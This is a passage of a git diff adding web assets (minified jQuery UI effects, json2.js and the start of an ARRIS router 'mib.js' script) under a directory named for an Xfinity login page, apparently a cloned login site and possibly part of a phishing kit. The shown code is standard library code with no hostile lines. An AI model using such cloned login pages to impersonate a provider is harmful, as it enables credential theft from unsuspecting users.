this._isInRange(a,c)},_isInRange:function(a,b){var c=this._getMinMaxDate(a,"min");a=this._getMinMaxDate(a,"max");return(!c||b.getTime()>=c.getTime())&&(!a||b.getTime()<=a.getTime())},_getFormatConfig:function(a){var b=this._get(a,"shortYearCutoff");b=typeof b!="string"?b:(new Date).getFullYear()%100+parseInt(b,10);return{shortYearCutoff:b,dayNamesShort:this._get(a, +"dayNamesShort"),dayNames:this._get(a,"dayNames"),monthNamesShort:this._get(a,"monthNamesShort"),monthNames:this._get(a,"monthNames")}},_formatDate:function(a,b,c,e){if(!b){a.currentDay=a.selectedDay;a.currentMonth=a.selectedMonth;a.currentYear=a.selectedYear}b=b?typeof b=="object"?b:this._daylightSavingAdjust(new Date(e,c,b)):this._daylightSavingAdjust(new Date(a.currentYear,a.currentMonth,a.currentDay));return this.formatDate(this._get(a,"dateFormat"),b,this._getFormatConfig(a))}});d.fn.datepicker= +function(a){if(!d.datepicker.initialized){d(document).mousedown(d.datepicker._checkExternalClick).find("body").append(d.datepicker.dpDiv);d.datepicker.initialized=true}var b=Array.prototype.slice.call(arguments,1);if(typeof a=="string"&&(a=="isDisabled"||a=="getDate"||a=="widget"))return d.datepicker["_"+a+"Datepicker"].apply(d.datepicker,[this[0]].concat(b));if(a=="option"&&arguments.length==2&&typeof arguments[1]=="string")return d.datepicker["_"+a+"Datepicker"].apply(d.datepicker,[this[0]].concat(b)); +return this.each(function(){typeof a=="string"?d.datepicker["_"+a+"Datepicker"].apply(d.datepicker,[this].concat(b)):d.datepicker._attachDatepicker(this,a)})};d.datepicker=new L;d.datepicker.initialized=false;d.datepicker.uuid=(new Date).getTime();d.datepicker.version="1.8.5";window["DP_jQuery_"+y]=d})(jQuery); +;/* + * jQuery UI Progressbar 1.8.5 + * + * Copyright 2010, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Progressbar + * + * Depends: + * jquery.ui.core.js + * jquery.ui.widget.js + */ +(function(b,c){b.widget("ui.progressbar",{options:{value:0},min:0,max:100,_create:function(){this.element.addClass("ui-progressbar ui-widget ui-widget-content ui-corner-all").attr({role:"progressbar","aria-valuemin":this.min,"aria-valuemax":this.max,"aria-valuenow":this._value()});this.valueDiv=b("
    ").appendTo(this.element);this._refreshValue()},destroy:function(){this.element.removeClass("ui-progressbar ui-widget ui-widget-content ui-corner-all").removeAttr("role").removeAttr("aria-valuemin").removeAttr("aria-valuemax").removeAttr("aria-valuenow"); +this.valueDiv.remove();b.Widget.prototype.destroy.apply(this,arguments)},value:function(a){if(a===c)return this._value();this._setOption("value",a);return this},_setOption:function(a,d){if(a==="value"){this.options.value=d;this._refreshValue();this._trigger("change")}b.Widget.prototype._setOption.apply(this,arguments)},_value:function(){var a=this.options.value;if(typeof a!=="number")a=0;return Math.min(this.max,Math.max(this.min,a))},_refreshValue:function(){var a=this.value();this.valueDiv.toggleClass("ui-corner-right", +a===this.max).width(a+"%");this.element.attr("aria-valuenow",a)}});b.extend(b.ui.progressbar,{version:"1.8.5"})})(jQuery); +;/* + * jQuery UI Effects 1.8.5 + * + * Copyright 2010, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Effects/ + */ +jQuery.effects||function(f,j){function l(c){var a;if(c&&c.constructor==Array&&c.length==3)return c;if(a=/rgb\(\s*([0-9]{1,3})\s*,\s*([0-9]{1,3})\s*,\s*([0-9]{1,3})\s*\)/.exec(c))return[parseInt(a[1],10),parseInt(a[2],10),parseInt(a[3],10)];if(a=/rgb\(\s*([0-9]+(?:\.[0-9]+)?)\%\s*,\s*([0-9]+(?:\.[0-9]+)?)\%\s*,\s*([0-9]+(?:\.[0-9]+)?)\%\s*\)/.exec(c))return[parseFloat(a[1])*2.55,parseFloat(a[2])*2.55,parseFloat(a[3])*2.55];if(a=/#([a-fA-F0-9]{2})([a-fA-F0-9]{2})([a-fA-F0-9]{2})/.exec(c))return[parseInt(a[1], +16),parseInt(a[2],16),parseInt(a[3],16)];if(a=/#([a-fA-F0-9])([a-fA-F0-9])([a-fA-F0-9])/.exec(c))return[parseInt(a[1]+a[1],16),parseInt(a[2]+a[2],16),parseInt(a[3]+a[3],16)];if(/rgba\(0, 0, 0, 0\)/.exec(c))return m.transparent;return m[f.trim(c).toLowerCase()]}function r(c,a){var b;do{b=f.curCSS(c,a);if(b!=""&&b!="transparent"||f.nodeName(c,"body"))break;a="backgroundColor"}while(c=c.parentNode);return l(b)}function n(){var c=document.defaultView?document.defaultView.getComputedStyle(this,null):this.currentStyle, +a={},b,d;if(c&&c.length&&c[0]&&c[c[0]])for(var e=c.length;e--;){b=c[e];if(typeof c[b]=="string"){d=b.replace(/\-(\w)/g,function(g,h){return h.toUpperCase()});a[d]=c[b]}}else for(b in c)if(typeof c[b]==="string")a[b]=c[b];return a}function o(c){var a,b;for(a in c){b=c[a];if(b==null||f.isFunction(b)||a in s||/scrollbar/.test(a)||!/color/i.test(a)&&isNaN(parseFloat(b)))delete c[a]}return c}function t(c,a){var b={_:0},d;for(d in a)if(c[d]!=a[d])b[d]=a[d];return b}function k(c,a,b,d){if(typeof c=="object"){d= +a;b=null;a=c;c=a.effect}if(f.isFunction(a)){d=a;b=null;a={}}if(typeof a=="number"||f.fx.speeds[a]){d=b;b=a;a={}}if(f.isFunction(b)){d=b;b=null}a=a||{};b=b||a.duration;b=f.fx.off?0:typeof b=="number"?b:f.fx.speeds[b]||f.fx.speeds._default;d=d||a.complete;return[c,a,b,d]}f.effects={};f.each(["backgroundColor","borderBottomColor","borderLeftColor","borderRightColor","borderTopColor","color","outlineColor"],function(c,a){f.fx.step[a]=function(b){if(!b.colorInit){b.start=r(b.elem,a);b.end=l(b.end);b.colorInit= +true}b.elem.style[a]="rgb("+Math.max(Math.min(parseInt(b.pos*(b.end[0]-b.start[0])+b.start[0],10),255),0)+","+Math.max(Math.min(parseInt(b.pos*(b.end[1]-b.start[1])+b.start[1],10),255),0)+","+Math.max(Math.min(parseInt(b.pos*(b.end[2]-b.start[2])+b.start[2],10),255),0)+")"}});var m={aqua:[0,255,255],azure:[240,255,255],beige:[245,245,220],black:[0,0,0],blue:[0,0,255],brown:[165,42,42],cyan:[0,255,255],darkblue:[0,0,139],darkcyan:[0,139,139],darkgrey:[169,169,169],darkgreen:[0,100,0],darkkhaki:[189, +183,107],darkmagenta:[139,0,139],darkolivegreen:[85,107,47],darkorange:[255,140,0],darkorchid:[153,50,204],darkred:[139,0,0],darksalmon:[233,150,122],darkviolet:[148,0,211],fuchsia:[255,0,255],gold:[255,215,0],green:[0,128,0],indigo:[75,0,130],khaki:[240,230,140],lightblue:[173,216,230],lightcyan:[224,255,255],lightgreen:[144,238,144],lightgrey:[211,211,211],lightpink:[255,182,193],lightyellow:[255,255,224],lime:[0,255,0],magenta:[255,0,255],maroon:[128,0,0],navy:[0,0,128],olive:[128,128,0],orange:[255, +165,0],pink:[255,192,203],purple:[128,0,128],violet:[128,0,128],red:[255,0,0],silver:[192,192,192],white:[255,255,255],yellow:[255,255,0],transparent:[255,255,255]},p=["add","remove","toggle"],s={border:1,borderBottom:1,borderColor:1,borderLeft:1,borderRight:1,borderTop:1,borderWidth:1,margin:1,padding:1};f.effects.animateClass=function(c,a,b,d){if(f.isFunction(b)){d=b;b=null}return this.each(function(){var e=f(this),g=e.attr("style")||" ",h=o(n.call(this)),q,u=e.attr("className");f.each(p,function(v, +i){c[i]&&e[i+"Class"](c[i])});q=o(n.call(this));e.attr("className",u);e.animate(t(h,q),a,b,function(){f.each(p,function(v,i){c[i]&&e[i+"Class"](c[i])});if(typeof e.attr("style")=="object"){e.attr("style").cssText="";e.attr("style").cssText=g}else e.attr("style",g);d&&d.apply(this,arguments)})})};f.fn.extend({_addClass:f.fn.addClass,addClass:function(c,a,b,d){return a?f.effects.animateClass.apply(this,[{add:c},a,b,d]):this._addClass(c)},_removeClass:f.fn.removeClass,removeClass:function(c,a,b,d){return a? +f.effects.animateClass.apply(this,[{remove:c},a,b,d]):this._removeClass(c)},_toggleClass:f.fn.toggleClass,toggleClass:function(c,a,b,d,e){return typeof a=="boolean"||a===j?b?f.effects.animateClass.apply(this,[a?{add:c}:{remove:c},b,d,e]):this._toggleClass(c,a):f.effects.animateClass.apply(this,[{toggle:c},a,b,d])},switchClass:function(c,a,b,d,e){return f.effects.animateClass.apply(this,[{add:a,remove:c},b,d,e])}});f.extend(f.effects,{version:"1.8.5",save:function(c,a){for(var b=0;b").addClass("ui-effects-wrapper").css({fontSize:"100%",background:"transparent",border:"none",margin:0,padding:0});c.wrap(b);b=c.parent();if(c.css("position")=="static"){b.css({position:"relative"});c.css({position:"relative"})}else{f.extend(a,{position:c.css("position"),zIndex:c.css("z-index")});f.each(["top","left","bottom","right"],function(d,e){a[e]=c.css(e);if(isNaN(parseInt(a[e],10)))a[e]="auto"}); +c.css({position:"relative",top:0,left:0})}return b.css(a).show()},removeWrapper:function(c){if(c.parent().is(".ui-effects-wrapper"))return c.parent().replaceWith(c);return c},setTransition:function(c,a,b,d){d=d||{};f.each(a,function(e,g){unit=c.cssUnit(g);if(unit[0]>0)d[g]=unit[0]*b+unit[1]});return d}});f.fn.extend({effect:function(c){var a=k.apply(this,arguments);a={options:a[1],duration:a[2],callback:a[3]};var b=f.effects[c];return b&&!f.fx.off?b.call(this,a):this},_show:f.fn.show,show:function(c){if(!c|| +typeof c=="number"||f.fx.speeds[c]||!f.effects[c])return this._show.apply(this,arguments);else{var a=k.apply(this,arguments);a[1].mode="show";return this.effect.apply(this,a)}},_hide:f.fn.hide,hide:function(c){if(!c||typeof c=="number"||f.fx.speeds[c]||!f.effects[c])return this._hide.apply(this,arguments);else{var a=k.apply(this,arguments);a[1].mode="hide";return this.effect.apply(this,a)}},__toggle:f.fn.toggle,toggle:function(c){if(!c||typeof c=="number"||f.fx.speeds[c]||!f.effects[c]||typeof c== +"boolean"||f.isFunction(c))return this.__toggle.apply(this,arguments);else{var a=k.apply(this,arguments);a[1].mode="toggle";return this.effect.apply(this,a)}},cssUnit:function(c){var a=this.css(c),b=[];f.each(["em","px","%","pt"],function(d,e){if(a.indexOf(e)>0)b=[parseFloat(a),e]});return b}});f.easing.jswing=f.easing.swing;f.extend(f.easing,{def:"easeOutQuad",swing:function(c,a,b,d,e){return f.easing[f.easing.def](c,a,b,d,e)},easeInQuad:function(c,a,b,d,e){return d*(a/=e)*a+b},easeOutQuad:function(c, +a,b,d,e){return-d*(a/=e)*(a-2)+b},easeInOutQuad:function(c,a,b,d,e){if((a/=e/2)<1)return d/2*a*a+b;return-d/2*(--a*(a-2)-1)+b},easeInCubic:function(c,a,b,d,e){return d*(a/=e)*a*a+b},easeOutCubic:function(c,a,b,d,e){return d*((a=a/e-1)*a*a+1)+b},easeInOutCubic:function(c,a,b,d,e){if((a/=e/2)<1)return d/2*a*a*a+b;return d/2*((a-=2)*a*a+2)+b},easeInQuart:function(c,a,b,d,e){return d*(a/=e)*a*a*a+b},easeOutQuart:function(c,a,b,d,e){return-d*((a=a/e-1)*a*a*a-1)+b},easeInOutQuart:function(c,a,b,d,e){if((a/= +e/2)<1)return d/2*a*a*a*a+b;return-d/2*((a-=2)*a*a*a-2)+b},easeInQuint:function(c,a,b,d,e){return d*(a/=e)*a*a*a*a+b},easeOutQuint:function(c,a,b,d,e){return d*((a=a/e-1)*a*a*a*a+1)+b},easeInOutQuint:function(c,a,b,d,e){if((a/=e/2)<1)return d/2*a*a*a*a*a+b;return d/2*((a-=2)*a*a*a*a+2)+b},easeInSine:function(c,a,b,d,e){return-d*Math.cos(a/e*(Math.PI/2))+d+b},easeOutSine:function(c,a,b,d,e){return d*Math.sin(a/e*(Math.PI/2))+b},easeInOutSine:function(c,a,b,d,e){return-d/2*(Math.cos(Math.PI*a/e)-1)+ +b},easeInExpo:function(c,a,b,d,e){return a==0?b:d*Math.pow(2,10*(a/e-1))+b},easeOutExpo:function(c,a,b,d,e){return a==e?b+d:d*(-Math.pow(2,-10*a/e)+1)+b},easeInOutExpo:function(c,a,b,d,e){if(a==0)return b;if(a==e)return b+d;if((a/=e/2)<1)return d/2*Math.pow(2,10*(a-1))+b;return d/2*(-Math.pow(2,-10*--a)+2)+b},easeInCirc:function(c,a,b,d,e){return-d*(Math.sqrt(1-(a/=e)*a)-1)+b},easeOutCirc:function(c,a,b,d,e){return d*Math.sqrt(1-(a=a/e-1)*a)+b},easeInOutCirc:function(c,a,b,d,e){if((a/=e/2)<1)return-d/ +2*(Math.sqrt(1-a*a)-1)+b;return d/2*(Math.sqrt(1-(a-=2)*a)+1)+b},easeInElastic:function(c,a,b,d,e){c=1.70158;var g=0,h=d;if(a==0)return b;if((a/=e)==1)return b+d;g||(g=e*0.3);if(h").css({position:"absolute",visibility:"visible",left:-f*(h/d),top:-e*(i/c)}).parent().addClass("ui-effects-explode").css({position:"absolute",overflow:"hidden",width:h/d,height:i/c,left:g.left+f*(h/d)+(a.options.mode=="show"?(f-Math.floor(d/2))*(h/d):0),top:g.top+e*(i/c)+(a.options.mode=="show"?(e-Math.floor(c/2))*(i/c):0),opacity:a.options.mode=="show"?0:1}).animate({left:g.left+f*(h/d)+(a.options.mode=="show"?0:(f-Math.floor(d/2))*(h/d)),top:g.top+ +e*(i/c)+(a.options.mode=="show"?0:(e-Math.floor(c/2))*(i/c)),opacity:a.options.mode=="show"?1:0},a.duration||500);setTimeout(function(){a.options.mode=="show"?b.css({visibility:"visible"}):b.css({visibility:"visible"}).hide();a.callback&&a.callback.apply(b[0]);b.dequeue();j("div.ui-effects-explode").remove()},a.duration||500)})}})(jQuery); +;/* + * jQuery UI Effects Fade 1.8.5 + * + * Copyright 2010, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Effects/Fade + * + * Depends: + * jquery.effects.core.js + */ +(function(b){b.effects.fade=function(a){return this.queue(function(){var c=b(this),d=b.effects.setMode(c,a.options.mode||"hide");c.animate({opacity:d},{queue:false,duration:a.duration,easing:a.options.easing,complete:function(){a.callback&&a.callback.apply(this,arguments);c.dequeue()}})})}})(jQuery); +;/* + * jQuery UI Effects Fold 1.8.5 + * + * Copyright 2010, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Effects/Fold + * + * Depends: + * jquery.effects.core.js + */ +(function(c){c.effects.fold=function(a){return this.queue(function(){var b=c(this),j=["position","top","left"],d=c.effects.setMode(b,a.options.mode||"hide"),g=a.options.size||15,h=!!a.options.horizFirst,k=a.duration?a.duration/2:c.fx.speeds._default/2;c.effects.save(b,j);b.show();var e=c.effects.createWrapper(b).css({overflow:"hidden"}),f=d=="show"!=h,l=f?["width","height"]:["height","width"];f=f?[e.width(),e.height()]:[e.height(),e.width()];var i=/([0-9]+)%/.exec(g);if(i)g=parseInt(i[1],10)/100* +f[d=="hide"?0:1];if(d=="show")e.css(h?{height:0,width:g}:{height:g,width:0});h={};i={};h[l[0]]=d=="show"?f[0]:g;i[l[1]]=d=="show"?f[1]:0;e.animate(h,k,a.options.easing).animate(i,k,a.options.easing,function(){d=="hide"&&b.hide();c.effects.restore(b,j);c.effects.removeWrapper(b);a.callback&&a.callback.apply(b[0],arguments);b.dequeue()})})}})(jQuery); +;/* + * jQuery UI Effects Highlight 1.8.5 + * + * Copyright 2010, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Effects/Highlight + * + * Depends: + * jquery.effects.core.js + */ +(function(b){b.effects.highlight=function(c){return this.queue(function(){var a=b(this),e=["backgroundImage","backgroundColor","opacity"],d=b.effects.setMode(a,c.options.mode||"show"),f={backgroundColor:a.css("backgroundColor")};if(d=="hide")f.opacity=0;b.effects.save(a,e);a.show().css({backgroundImage:"none",backgroundColor:c.options.color||"#ffff99"}).animate(f,{queue:false,duration:c.duration,easing:c.options.easing,complete:function(){d=="hide"&&a.hide();b.effects.restore(a,e);d=="show"&&!b.support.opacity&& +this.style.removeAttribute("filter");c.callback&&c.callback.apply(this,arguments);a.dequeue()}})})}})(jQuery); +;/* + * jQuery UI Effects Pulsate 1.8.5 + * + * Copyright 2010, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Effects/Pulsate + * + * Depends: + * jquery.effects.core.js + */ +(function(d){d.effects.pulsate=function(a){return this.queue(function(){var b=d(this),c=d.effects.setMode(b,a.options.mode||"show");times=(a.options.times||5)*2-1;duration=a.duration?a.duration/2:d.fx.speeds._default/2;isVisible=b.is(":visible");animateTo=0;if(!isVisible){b.css("opacity",0).show();animateTo=1}if(c=="hide"&&isVisible||c=="show"&&!isVisible)times--;for(c=0;c').appendTo(document.body).addClass(a.options.className).css({top:d.top,left:d.left,height:b.innerHeight(),width:b.innerWidth(),position:"absolute"}).animate(c,a.duration,a.options.easing,function(){f.remove();a.callback&&a.callback.apply(b[0],arguments); +b.dequeue()})})}})(jQuery); +; \ No newline at end of file diff --git a/sites/Login-Xfinity/Xfinity_files/json2.js b/sites/Login-Xfinity/Xfinity_files/json2.js new file mode 100755 index 0000000..8ccf997 --- /dev/null +++ b/sites/Login-Xfinity/Xfinity_files/json2.js @@ -0,0 +1,482 @@ +/* + http://www.JSON.org/json2.js + 2010-08-25 + + Public Domain. + + NO WARRANTY EXPRESSED OR IMPLIED. USE AT YOUR OWN RISK. + + See http://www.JSON.org/js.html + + + This code should be minified before deployment. + See http://javascript.crockford.com/jsmin.html + + USE YOUR OWN COPY. IT IS EXTREMELY UNWISE TO LOAD CODE FROM SERVERS YOU DO + NOT CONTROL. + + + This file creates a global JSON object containing two methods: stringify + and parse. + + JSON.stringify(value, replacer, space) + value any JavaScript value, usually an object or array. + + replacer an optional parameter that determines how object + values are stringified for objects. It can be a + function or an array of strings. + + space an optional parameter that specifies the indentation + of nested structures. If it is omitted, the text will + be packed without extra whitespace. If it is a number, + it will specify the number of spaces to indent at each + level. If it is a string (such as '\t' or ' '), + it contains the characters used to indent at each level. + + This method produces a JSON text from a JavaScript value. + + When an object value is found, if the object contains a toJSON + method, its toJSON method will be called and the result will be + stringified. A toJSON method does not serialize: it returns the + value represented by the name/value pair that should be serialized, + or undefined if nothing should be serialized. The toJSON method + will be passed the key associated with the value, and this will be + bound to the value + + For example, this would serialize Dates as ISO strings. + + Date.prototype.toJSON = function (key) { + function f(n) { + // Format integers to have at least two digits. + return n < 10 ? '0' + n : n; + } + + return this.getUTCFullYear() + '-' + + f(this.getUTCMonth() + 1) + '-' + + f(this.getUTCDate()) + 'T' + + f(this.getUTCHours()) + ':' + + f(this.getUTCMinutes()) + ':' + + f(this.getUTCSeconds()) + 'Z'; + }; + + You can provide an optional replacer method. It will be passed the + key and value of each member, with this bound to the containing + object. The value that is returned from your method will be + serialized. If your method returns undefined, then the member will + be excluded from the serialization. + + If the replacer parameter is an array of strings, then it will be + used to select the members to be serialized. It filters the results + such that only members with keys listed in the replacer array are + stringified. + + Values that do not have JSON representations, such as undefined or + functions, will not be serialized. Such values in objects will be + dropped; in arrays they will be replaced with null. You can use + a replacer function to replace those with JSON values. + JSON.stringify(undefined) returns undefined. + + The optional space parameter produces a stringification of the + value that is filled with line breaks and indentation to make it + easier to read. + + If the space parameter is a non-empty string, then that string will + be used for indentation. If the space parameter is a number, then + the indentation will be that many spaces. + + Example: + + text = JSON.stringify(['e', {pluribus: 'unum'}]); + // text is '["e",{"pluribus":"unum"}]' + + + text = JSON.stringify(['e', {pluribus: 'unum'}], null, '\t'); + // text is '[\n\t"e",\n\t{\n\t\t"pluribus": "unum"\n\t}\n]' + + text = JSON.stringify([new Date()], function (key, value) { + return this[key] instanceof Date ? + 'Date(' + this[key] + ')' : value; + }); + // text is '["Date(---current time---)"]' + + + JSON.parse(text, reviver) + This method parses a JSON text to produce an object or array. + It can throw a SyntaxError exception. + + The optional reviver parameter is a function that can filter and + transform the results. It receives each of the keys and values, + and its return value is used instead of the original value. + If it returns what it received, then the structure is not modified. + If it returns undefined then the member is deleted. + + Example: + + // Parse the text. Values that look like ISO date strings will + // be converted to Date objects. + + myData = JSON.parse(text, function (key, value) { + var a; + if (typeof value === 'string') { + a = +/^(\d{4})-(\d{2})-(\d{2})T(\d{2}):(\d{2}):(\d{2}(?:\.\d*)?)Z$/.exec(value); + if (a) { + return new Date(Date.UTC(+a[1], +a[2] - 1, +a[3], +a[4], + +a[5], +a[6])); + } + } + return value; + }); + + myData = JSON.parse('["Date(09/09/2001)"]', function (key, value) { + var d; + if (typeof value === 'string' && + value.slice(0, 5) === 'Date(' && + value.slice(-1) === ')') { + d = new Date(value.slice(5, -1)); + if (d) { + return d; + } + } + return value; + }); + + + This is a reference implementation. You are free to copy, modify, or + redistribute. +*/ + +/*jslint evil: true, strict: false */ + +/*members "", "\b", "\t", "\n", "\f", "\r", "\"", JSON, "\\", apply, + call, charCodeAt, getUTCDate, getUTCFullYear, getUTCHours, + getUTCMinutes, getUTCMonth, getUTCSeconds, hasOwnProperty, join, + lastIndex, length, parse, prototype, push, replace, slice, stringify, + test, toJSON, toString, valueOf +*/ + + +// Create a JSON object only if one does not already exist. We create the +// methods in a closure to avoid creating global variables. + +if (!this.JSON) { + this.JSON = {}; +} + +(function () { + + function f(n) { + // Format integers to have at least two digits. + return n < 10 ? '0' + n : n; + } + + if (typeof Date.prototype.toJSON !== 'function') { + + Date.prototype.toJSON = function (key) { + + return isFinite(this.valueOf()) ? + this.getUTCFullYear() + '-' + + f(this.getUTCMonth() + 1) + '-' + + f(this.getUTCDate()) + 'T' + + f(this.getUTCHours()) + ':' + + f(this.getUTCMinutes()) + ':' + + f(this.getUTCSeconds()) + 'Z' : null; + }; + + String.prototype.toJSON = + Number.prototype.toJSON = + Boolean.prototype.toJSON = function (key) { + return this.valueOf(); + }; + } + + var cx = /[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g, + escapable = /[\\\"\x00-\x1f\x7f-\x9f\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g, + gap, + indent, + meta = { // table of character substitutions + '\b': '\\b', + '\t': '\\t', + '\n': '\\n', + '\f': '\\f', + '\r': '\\r', + '"' : '\\"', + '\\': '\\\\' + }, + rep; + + + function quote(string) { + +// If the string contains no control characters, no quote characters, and no +// backslash characters, then we can safely slap some quotes around it. +// Otherwise we must also replace the offending characters with safe escape +// sequences. + + escapable.lastIndex = 0; + return escapable.test(string) ? + '"' + string.replace(escapable, function (a) { + var c = meta[a]; + return typeof c === 'string' ? c : + '\\u' + ('0000' + a.charCodeAt(0).toString(16)).slice(-4); + }) + '"' : + '"' + string + '"'; + } + + + function str(key, holder) { + +// Produce a string from holder[key]. + + var i, // The loop counter. + k, // The member key. + v, // The member value. + length, + mind = gap, + partial, + value = holder[key]; + +// If the value has a toJSON method, call it to obtain a replacement value. + + if (value && typeof value === 'object' && + typeof value.toJSON === 'function') { + value = value.toJSON(key); + } + +// If we were called with a replacer function, then call the replacer to +// obtain a replacement value. + + if (typeof rep === 'function') { + value = rep.call(holder, key, value); + } + +// What happens next depends on the value's type. + + switch (typeof value) { + case 'string': + return quote(value); + + case 'number': + +// JSON numbers must be finite. Encode non-finite numbers as null. + + return isFinite(value) ? String(value) : 'null'; + + case 'boolean': + case 'null': + +// If the value is a boolean or null, convert it to a string. Note: +// typeof null does not produce 'null'. The case is included here in +// the remote chance that this gets fixed someday. + + return String(value); + +// If the type is 'object', we might be dealing with an object or an array or +// null. + + case 'object': + +// Due to a specification blunder in ECMAScript, typeof null is 'object', +// so watch out for that case. + + if (!value) { + return 'null'; + } + +// Make an array to hold the partial results of stringifying this object value. + + gap += indent; + partial = []; + +// Is the value an array? + + if (Object.prototype.toString.apply(value) === '[object Array]') { + +// The value is an array. Stringify every element. Use null as a placeholder +// for non-JSON values. + + length = value.length; + for (i = 0; i < length; i += 1) { + partial[i] = str(i, value) || 'null'; + } + +// Join all of the elements together, separated with commas, and wrap them in +// brackets. + + v = partial.length === 0 ? '[]' : + gap ? '[\n' + gap + + partial.join(',\n' + gap) + '\n' + + mind + ']' : + '[' + partial.join(',') + ']'; + gap = mind; + return v; + } + +// If the replacer is an array, use it to select the members to be stringified. + + if (rep && typeof rep === 'object') { + length = rep.length; + for (i = 0; i < length; i += 1) { + k = rep[i]; + if (typeof k === 'string') { + v = str(k, value); + if (v) { + partial.push(quote(k) + (gap ? ': ' : ':') + v); + } + } + } + } else { + +// Otherwise, iterate through all of the keys in the object. + + for (k in value) { + if (Object.hasOwnProperty.call(value, k)) { + v = str(k, value); + if (v) { + partial.push(quote(k) + (gap ? ': ' : ':') + v); + } + } + } + } + +// Join all of the member texts together, separated with commas, +// and wrap them in braces. + + v = partial.length === 0 ? '{}' : + gap ? '{\n' + gap + partial.join(',\n' + gap) + '\n' + + mind + '}' : '{' + partial.join(',') + '}'; + gap = mind; + return v; + } + } + +// If the JSON object does not yet have a stringify method, give it one. + + if (typeof JSON.stringify !== 'function') { + JSON.stringify = function (value, replacer, space) { + +// The stringify method takes a value and an optional replacer, and an optional +// space parameter, and returns a JSON text. The replacer can be a function +// that can replace values, or an array of strings that will select the keys. +// A default replacer method can be provided. Use of the space parameter can +// produce text that is more easily readable. + + var i; + gap = ''; + indent = ''; + +// If the space parameter is a number, make an indent string containing that +// many spaces. + + if (typeof space === 'number') { + for (i = 0; i < space; i += 1) { + indent += ' '; + } + +// If the space parameter is a string, it will be used as the indent string. + + } else if (typeof space === 'string') { + indent = space; + } + +// If there is a replacer, it must be a function or an array. +// Otherwise, throw an error. + + rep = replacer; + if (replacer && typeof replacer !== 'function' && + (typeof replacer !== 'object' || + typeof replacer.length !== 'number')) { + throw new Error('JSON.stringify'); + } + +// Make a fake root object containing our value under the key of ''. +// Return the result of stringifying the value. + + return str('', {'': value}); + }; + } + + +// If the JSON object does not yet have a parse method, give it one. + + if (typeof JSON.parse !== 'function') { + JSON.parse = function (text, reviver) { + +// The parse method takes a text and an optional reviver function, and returns +// a JavaScript value if the text is a valid JSON text. + + var j; + + function walk(holder, key) { + +// The walk method is used to recursively walk the resulting structure so +// that modifications can be made. + + var k, v, value = holder[key]; + if (value && typeof value === 'object') { + for (k in value) { + if (Object.hasOwnProperty.call(value, k)) { + v = walk(value, k); + if (v !== undefined) { + value[k] = v; + } else { + delete value[k]; + } + } + } + } + return reviver.call(holder, key, value); + } + + +// Parsing happens in four stages. In the first stage, we replace certain +// Unicode characters with escape sequences. JavaScript handles many characters +// incorrectly, either silently deleting them, or treating them as line endings. + + text = String(text); + cx.lastIndex = 0; + if (cx.test(text)) { + text = text.replace(cx, function (a) { + return '\\u' + + ('0000' + a.charCodeAt(0).toString(16)).slice(-4); + }); + } + +// In the second stage, we run the text against regular expressions that look +// for non-JSON patterns. We are especially concerned with '()' and 'new' +// because they can cause invocation, and '=' because it can cause mutation. +// But just to be safe, we want to reject all unexpected forms. + +// We split the second stage into 4 regexp operations in order to work around +// crippling inefficiencies in IE's and Safari's regexp engines. First we +// replace the JSON backslash pairs with '@' (a non-JSON character). Second, we +// replace all simple value tokens with ']' characters. Third, we delete all +// open brackets that follow a colon or comma or that begin the text. Finally, +// we look to see that the remaining characters are only whitespace or ']' or +// ',' or ':' or '{' or '}'. If that is so, then the text is safe for eval. + + if (/^[\],:{}\s]*$/ +.test(text.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g, '@') +.replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g, ']') +.replace(/(?:^|:|,)(?:\s*\[)+/g, ''))) { + +// In the third stage we use the eval function to compile the text into a +// JavaScript structure. The '{' operator is subject to a syntactic ambiguity +// in JavaScript: it can begin a block or an object literal. We wrap the text +// in parens to eliminate the ambiguity. + + j = eval('(' + text + ')'); + +// In the optional fourth stage, we recursively walk the new structure, passing +// each name/value pair to a reviver function for possible transformation. + + return typeof reviver === 'function' ? + walk({'': j}, '') : j; + } + +// If the text is not JSON parseable, then a SyntaxError is thrown. + + throw new SyntaxError('JSON.parse'); + }; + } +}()); diff --git a/sites/Login-Xfinity/Xfinity_files/mib.js b/sites/Login-Xfinity/Xfinity_files/mib.js new file mode 100755 index 0000000..8d0e2e2 --- /dev/null +++ b/sites/Login-Xfinity/Xfinity_files/mib.js @@ -0,0 +1,3917 @@ +//(c) Copyright 2011-2012, ARRIS Group, Inc., All rights reserved. +//justin add +document.write("<\/scr" + "ipt>"); +//justin add end + +var walk = { }; +var loads = []; +var stores = []; +var table = { }; +var container = { }; +var oidsRead = [ ]; +var mib = { }; +var bulkLoading = false; +var bulkList = [ ]; + + +function appendMulti_OID(obj_in) +{ + var oid_array=""; + var i=0; + for(;i=0) + { + var current_pos=MIB_Arrays[i]; + MIB_Arrays_sorted.push(current_pos); + for(var j=i+1;j=0)&&(current_pos["mibobj"].name==MIB_Arrays[j]["mibobj"].name)) + { + if(MIB_Arrays[j].index>=current_pos.index) + { + var newobj=MIB_Arrays[j]; + MIB_Arrays_sorted.push(newobj); + if (window.console) console.log("push:"+MIB_Arrays[j]["mibobj"].name+"["+MIB_Arrays[j].index+"] under: "+MIB_Arrays[i]["mibobj"].name+"["+MIB_Arrays[i].index+"]"); + } + else /* simple sort */ + { + var 